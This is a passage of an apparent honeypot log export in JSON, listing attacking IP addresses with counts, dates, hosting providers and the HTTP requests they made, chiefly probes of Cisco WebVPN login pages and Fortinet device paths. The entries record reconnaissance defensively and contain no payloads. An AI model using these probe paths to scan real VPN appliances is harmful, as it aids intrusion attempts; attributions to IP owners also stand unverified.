        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.95.175": {
      "attack_count": 30,
      "first_seen": "2026-04-12T02:12:34.517Z",
      "last_seen": "2026-04-25T13:03:14.581Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "2.57.151.227": {
      "attack_count": 29,
      "first_seen": "2026-04-13T05:25:11.162Z",
      "last_seen": "2026-04-15T02:53:18.409Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 395092,
      "as_org": "Shock Hosting LLC"
    },
    "37.19.200.153": {
      "attack_count": 27,
      "first_seen": "2026-04-12T03:13:29.107Z",
      "last_seen": "2026-04-29T19:17:17.008Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "68.235.46.196": {
      "attack_count": 27,
      "first_seen": "2026-04-10T01:22:03.605Z",
      "last_seen": "2026-04-29T01:36:35.751Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "185.156.46.147": {
      "attack_count": 24,
      "first_seen": "2026-04-09T02:38:46.333Z",
      "last_seen": "2026-04-29T15:05:10.924Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.102.175": {
      "attack_count": 24,
      "first_seen": "2026-04-10T03:12:37.144Z",
      "last_seen": "2026-04-23T02:04:53.418Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.133": {
      "attack_count": 24,
      "first_seen": "2026-04-10T12:54:24.123Z",
      "last_seen": "2026-04-29T12:12:12.135Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.111.231.120": {
      "attack_count": 21,
      "first_seen": "2026-04-12T01:35:56.417Z",
      "last_seen": "2026-04-13T11:19:28.554Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "173.249.255.59": {
      "attack_count": 21,
      "first_seen": "2026-04-11T02:18:34.700Z",
      "last_seen": "2026-04-28T03:56:55.948Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.69.156": {
      "attack_count": 21,
      "first_seen": "2026-04-10T00:58:49.926Z",
      "last_seen": "2026-04-28T01:13:17.644Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Denver",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.200.166": {
      "attack_count": 19,
      "first_seen": "2026-04-15T09:21:07.704Z",
      "last_seen": "2026-04-28T02:30:28.812Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "185.156.46.133": {
      "attack_count": 18,
      "first_seen": "2026-04-15T09:21:43.622Z",
      "last_seen": "2026-04-27T19:57:17.547Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "23.234.100.100": {
      "attack_count": 18,
      "first_seen": "2026-04-19T08:52:01.718Z",
      "last_seen": "2026-04-24T10:28:18.642Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.103.48": {
      "attack_count": 18,
      "first_seen": "2026-04-10T03:43:58.812Z",
      "last_seen": "2026-04-28T00:34:11.844Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "New York",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "172.120.117.138": {
      "attack_count": 15,
      "first_seen": "2026-04-13T12:15:25.875Z",
      "last_seen": "2026-04-15T03:08:40.249Z",
      "ports": [],
      "event_types": [
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "23.159.216.48": {
      "attack_count": 15,
      "first_seen": "2026-04-10T14:40:48.216Z",
      "last_seen": "2026-04-29T10:26:54.542Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 17243,
      "as_org": "Byte Node LLC"
    },
    "23.234.72.170": {
      "attack_count": 15,
      "first_seen": "2026-04-08T14:27:08.311Z",
      "last_seen": "2026-04-26T08:21:04.735Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.188": {
      "attack_count": 15,
      "first_seen": "2026-04-08T16:01:11.427Z",
      "last_seen": "2026-04-23T02:33:07.289Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.95.157": {
      "attack_count": 15,
      "first_seen": "2026-04-18T13:15:47.905Z",
      "last_seen": "2026-04-28T05:08:10.231Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.146": {
      "attack_count": 15,
      "first_seen": "2026-04-10T02:42:14.832Z",
      "last_seen": "2026-04-25T03:52:34.078Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "37.19.221.160": {
      "attack_count": 15,
      "first_seen": "2026-04-13T12:11:47.938Z",
      "last_seen": "2026-04-30T02:47:49.916Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.252.170.114": {
      "attack_count": 14,
      "first_seen": "2026-04-12T03:25:56.896Z",
      "last_seen": "2026-04-13T03:47:59.897Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "142.252.43.241": {
      "attack_count": 14,
      "first_seen": "2026-04-13T01:33:07.972Z",
      "last_seen": "2026-04-13T07:03:42.266Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214238,
      "as_org": "Host Telecom Ltd"
    },
    "166.1.241.127": {
      "attack_count": 14,
      "first_seen": "2026-04-13T17:29:37.486Z",
      "last_seen": "2026-04-15T03:23:38.921Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)",
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 62240,
      "as_org": "Clouvider Limited"
    },
    "23.234.74.219": {
      "attack_count": 14,
      "first_seen": "2026-04-10T07:46:23.906Z",
      "last_seen": "2026-04-10T08:38:59.223Z",
      "ports": [],
      "event_types": [
        "\"POST /+webvpn+/index.html HTTP/1.1\" 200 -",
        "Request timed out: TimeoutError(The read operation timed out)"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "64.62.156.152": {
      "attack_count": 14,
      "first_seen": "2026-04-04T10:10:47.245Z",
      "last_seen": "2026-04-04T10:17:40.985Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "65.49.20.66": {
      "attack_count": 14,
      "first_seen": "2026-04-20T00:26:12.853Z",
      "last_seen": "2026-04-20T00:31:55.008Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /fonts/ftnt-icons.woff HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /+CSCOL+/csvrloader.jar HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "103.81.230.100": {
      "attack_count": 12,
      "first_seen": "2026-04-18T22:50:44.620Z",
      "last_seen": "2026-04-29T19:33:58.308Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 203020,
      "as_org": "HostRoyale Technologies Pvt Ltd"
    },
    "146.70.211.147": {
      "attack_count": 12,
      "first_seen": "2026-04-11T10:53:18.643Z",
      "last_seen": "2026-04-24T10:12:34.824Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.119.227": {
      "attack_count": 12,
      "first_seen": "2026-04-18T08:14:28.415Z",
      "last_seen": "2026-04-22T02:03:07.505Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.82.187": {
      "attack_count": 12,
      "first_seen": "2026-04-19T02:04:13.416Z",
      "last_seen": "2026-04-23T09:03:46.495Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Seattle",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.89.188": {
      "attack_count": 12,
      "first_seen": "2026-04-11T06:13:02.894Z",
      "last_seen": "2026-04-24T14:34:16.682Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.233": {
      "attack_count": 12,
      "first_seen": "2026-04-08T14:04:59.598Z",
      "last_seen": "2026-04-30T00:03:21.278Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.93.157": {
      "attack_count": 12,
      "first_seen": "2026-04-21T01:21:58.734Z",
      "last_seen": "2026-04-26T13:35:34.043Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.97.236": {
      "attack_count": 12,
      "first_seen": "2026-04-18T20:08:42.901Z",
      "last_seen": "2026-04-21T07:13:43.682Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "87.249.134.17": {
      "attack_count": 12,
      "first_seen": "2026-04-23T04:11:52.109Z",
      "last_seen": "2026-04-27T18:57:30.149Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "65.49.1.232": {
      "attack_count": 11,
      "first_seen": "2026-04-10T07:51:04.953Z",
      "last_seen": "2026-04-10T07:54:54.599Z",
      "ports": [],
      "event_types": [
        "\"GET /api/v2/static/not.found HTTP/1.1\" 404 -",
        "\"GET /lang/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /login?redir=/ng HTTP/1.1\" 404 -",
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /lang//custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /lang/custom/sbin/init HTTP/1.1\" 404 -",
        "\"GET /migadmin/lang/legacy/legacy/filechecksum HTTP/1.1\" 404 -",
        "\"GET /remote/logincheck HTTP/1.1\" 404 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC"
    },
    "146.70.172.154": {
      "attack_count": 9,
      "first_seen": "2026-04-28T06:16:58.212Z",
      "last_seen": "2026-04-29T22:41:59.078Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "173.249.252.231": {
      "attack_count": 9,
      "first_seen": "2026-04-18T01:46:13.224Z",
      "last_seen": "2026-04-26T01:57:59.521Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Chicago",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.119.48": {
      "attack_count": 9,
      "first_seen": "2026-04-12T00:53:13.944Z",
      "last_seen": "2026-04-23T05:20:18.203Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.73.185": {
      "attack_count": 9,
      "first_seen": "2026-04-28T07:24:19.007Z",
      "last_seen": "2026-04-29T13:26:28.810Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.79.105": {
      "attack_count": 9,
      "first_seen": "2026-04-08T15:41:32.817Z",
      "last_seen": "2026-04-29T11:35:23.512Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Raleigh",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.91.106": {
      "attack_count": 9,
      "first_seen": "2026-04-11T08:57:21.778Z",
      "last_seen": "2026-04-24T17:54:40.888Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Phoenix",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "37.19.221.134": {
      "attack_count": 9,
      "first_seen": "2026-04-23T13:12:36.712Z",
      "last_seen": "2026-04-30T03:07:03.409Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Houston",
      "asn": 212238,
      "as_org": "Datacamp Limited"
    },
    "142.93.39.187": {
      "attack_count": 8,
      "first_seen": "2026-04-01T18:01:58.331Z",
      "last_seen": "2026-04-01T18:02:08.433Z",
      "ports": [],
      "event_types": [
        "\"GET / HTTP/1.1\" 200 -",
        "\"GET /api/v1/namespaces HTTP/1.1\" 404 -",
        "\"GET /version HTTP/1.1\" 404 -",
        "\"HELP\" 400 -",
        "code 400"
      ],
      "usernames_attempted": [],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Slough",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC"
    },
    "23.234.113.31": {
      "attack_count": 7,
      "first_seen": "2026-04-18T18:24:33.149Z",
      "last_seen": "2026-04-21T19:37:11.714Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "146.70.172.240": {
      "attack_count": 6,
      "first_seen": "2026-04-27T11:49:31.606Z",
      "last_seen": "2026-04-27T19:50:52.320Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 9009,
      "as_org": "M247 Europe SRL"
    },
    "23.234.113.100": {
      "attack_count": 6,
      "first_seen": "2026-04-13T15:56:36.639Z",
      "last_seen": "2026-04-30T03:17:06.489Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "Salt Lake City",
      "asn": 11878,
      "as_org": "tzulo, inc."
    },
    "23.234.92.227": {
      "attack_count": 6,
      "first_seen": "2026-04-22T10:50:48.090Z",
      "last_seen": "2026-04-23T18:01:30.892Z",
      "ports": [],
      "event_types": [
        "\"GET /+CSCOE+/logon.html HTTP/1.1\" 302 -",
        "\"GET /+CSCOE+/logon.html?fcadbadd=1 HTTP/1.1\" 200 -",
        "\"POST /+webvpn+/index.html?fcadbadd=1 HTTP/1.1\" 200 -"
      ],
      "usernames_attempted": [],
      "country": "United States",
      "country_code": "US",
      "city": "San Jose",
      "asn": 11878,
